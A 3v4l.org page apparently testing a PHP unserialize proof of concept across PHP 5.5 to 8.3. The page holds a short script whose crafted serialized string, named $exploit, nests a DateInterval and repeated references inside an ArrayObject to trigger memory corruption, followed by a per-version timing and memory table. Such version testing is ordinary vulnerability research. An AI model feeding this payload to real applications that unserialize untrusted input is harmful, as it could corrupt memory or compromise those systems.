3v4l.org

run code in 300+ PHP versions simultaneously
<?php class test { var $ryat; function __wakeup() { // $this->ryat = 'ryat'; } } $inner = 'x:i:0;O:12:"DateInterval":0:{};m:a:2:{i:0;r:4;i:1;r:4;}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } echo(serialize($data));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00718.68
8.3.50.0150.00821.09
8.3.40.0100.00718.84
8.3.30.0070.00718.78
8.3.20.0000.00818.82
8.3.10.0060.00321.77
8.3.00.0040.00420.95
8.2.180.0160.00018.54
8.2.170.0110.00322.96
8.2.160.0100.00719.16
8.2.150.0040.00424.18
8.2.140.0060.00324.66
8.2.130.0080.00026.16
8.2.120.0040.01119.36
8.2.110.0090.00021.18
8.2.100.0110.00017.78
8.2.90.0040.00418.16
8.2.80.0030.00618.34
8.2.70.0040.00417.75
8.2.60.0000.00817.63
8.2.50.0080.00017.55
8.2.40.0080.00019.35
8.2.30.0070.00017.83
8.2.20.0040.00417.77
8.2.10.0000.00819.86
8.2.00.0040.00418.07
8.1.280.0140.00325.92
8.1.270.0030.00523.87
8.1.260.0080.00026.35
8.1.250.0050.00528.09
8.1.240.0030.00622.30
8.1.230.0000.01222.73
8.1.220.0080.00017.74
8.1.210.0020.00918.77
8.1.200.0080.00017.36
8.1.190.0050.00317.48
8.1.180.0040.00418.10
8.1.170.0020.00518.88
8.1.160.0000.00718.86
8.1.150.0040.00418.86
8.1.140.0070.00018.97
8.1.130.0030.00517.61
8.1.120.0040.00317.46
8.1.110.0040.00417.43
8.1.100.0000.00717.57
8.1.90.0040.00417.44
8.1.80.0000.00717.50
8.1.70.0040.00417.52
8.1.60.0060.00617.50
8.1.50.0030.00617.47
8.1.40.0080.00417.50
8.1.30.0030.00517.63
8.1.20.0080.00017.60
8.1.10.0040.00417.39
8.1.00.0060.00317.57
8.0.300.0000.00719.98
8.0.290.0050.00316.88
8.0.280.0040.00418.10
8.0.270.0100.00018.01
8.0.260.0030.00317.29
8.0.250.0070.00017.08
8.0.240.0050.00217.05
8.0.230.0080.00017.11
8.0.220.0000.00716.98
8.0.210.0000.00716.96
8.0.200.0030.00317.00
8.0.190.0080.00017.09
8.0.180.0000.00716.92
8.0.170.0070.00017.03
8.0.160.0000.00716.97
8.0.150.0070.00016.85
8.0.140.0030.00616.85
8.0.130.0000.00613.49
8.0.120.0000.00816.99
8.0.110.0070.00016.94
8.0.100.0070.00016.76
8.0.90.0000.00716.96
8.0.80.0120.00917.04
8.0.70.0040.00416.84
8.0.60.0040.00416.82
8.0.50.0040.00416.88
8.0.30.0080.01017.07
8.0.20.0100.01517.40
8.0.10.0000.00717.00
8.0.00.0100.00816.69
7.4.330.0020.00215.08
7.4.320.0030.00316.55
7.4.300.0030.00316.64
7.4.290.0040.00416.63
7.4.280.0090.00016.39
7.4.270.0000.00716.55
7.4.260.0030.00316.57
7.4.250.0080.00016.59
7.4.240.0000.00716.53
7.4.230.0040.00416.65
7.4.220.0100.01416.59
7.4.210.0060.00816.63
7.4.200.0070.00016.46
7.4.160.0160.00316.37
7.4.150.0090.00917.40
7.4.140.0070.01217.86
7.4.130.0160.00816.70
7.4.120.0120.00516.66
7.4.110.0070.01016.47
7.4.100.0070.01016.46
7.4.90.0070.01016.67
7.4.80.0030.01319.39
7.4.70.0130.00316.59
7.4.60.0130.00316.54
7.4.50.0070.00716.50
7.4.40.0090.00916.55
7.4.30.0120.00316.55
7.4.00.0030.00914.78
7.3.330.0000.00513.46
7.3.320.0000.00513.32
7.3.310.0040.00416.46
7.3.300.0050.00316.41
7.3.290.0070.00916.44
7.3.280.0080.01116.45
7.3.270.0130.00317.40
7.3.260.0040.01316.53
7.3.250.0100.00816.55
7.3.240.0080.01116.58
7.3.230.0030.01316.46
7.3.210.0090.00916.56
7.3.200.0110.00616.39
7.3.190.0100.00716.54
7.3.180.0090.00616.45
7.3.170.0080.01616.52
7.3.160.0110.00616.67
7.2.330.0100.00716.37
7.2.320.0090.00916.58
7.2.310.0070.01016.48
7.2.300.0050.01116.73
7.2.290.0040.01216.33
7.2.110.0100.00316.57
7.2.60.0030.01216.89
7.2.00.0040.00819.33
7.1.200.0030.01215.80
7.1.100.0060.00918.11
7.1.70.0000.01017.38
7.1.60.0070.01820.41
7.1.50.0070.01417.04
7.1.00.0070.07022.48
7.0.200.0150.00814.71
7.0.60.0200.07721.83
7.0.50.0130.06317.91
7.0.40.0100.06320.23
7.0.30.0600.07320.06
7.0.20.0300.05320.36
7.0.10.0270.07320.36
7.0.00.0170.06020.11
5.6.280.0070.07021.03
5.6.210.0030.08320.47
5.6.200.0130.07718.29
5.6.190.0200.06020.61
5.6.180.0400.05720.62
5.6.170.0400.06020.61
5.6.160.0230.07320.55
5.6.150.0370.06020.32
5.6.140.0270.06720.45
5.6.130.0230.05320.33
5.6.120.0200.06720.44
5.6.110.0130.06020.41
5.6.100.0300.04720.40
5.6.90.0200.08320.35
5.6.80.0330.04019.82
5.6.70.0170.06019.75
5.6.60.0330.07019.73
5.6.50.0200.05019.98
5.6.40.0070.06319.68
5.6.30.0300.06319.68
5.6.20.0100.06019.63
5.6.10.0100.06019.67
5.6.00.0270.06319.68
5.5.350.0200.07320.37
5.5.340.0030.04717.95
5.5.330.0370.06020.36
5.5.320.0470.08320.38
5.5.310.0500.07020.49
5.5.300.0200.07720.15
5.5.290.0500.05320.13
5.5.280.0130.07020.02
5.5.270.0170.06020.24
5.5.260.0170.06320.10
5.5.250.0230.05719.98
5.5.240.0200.06019.55
5.5.230.0170.06719.53
5.5.220.0370.07319.77
5.5.210.0230.05319.62
5.5.200.0130.05719.52
5.5.190.0170.05719.50
5.5.180.0170.05319.57
5.5.160.0100.06019.48
5.5.150.0230.07719.58
5.5.140.0070.06319.45
5.5.130.0330.07019.52
5.5.120.0200.05019.47
5.5.110.0130.05719.55
5.5.100.0200.06019.36
5.5.90.0170.05719.49
5.5.80.0270.05719.49
5.5.70.0070.07019.49
5.5.60.0170.06019.48
5.5.50.0230.05019.39
5.5.40.0170.05019.50
5.5.30.0130.05319.36
5.5.20.0170.05019.47
5.5.10.0100.06319.39
5.5.00.0200.05319.35

preferences:
55.27 ms | 401 KiB | 5 Q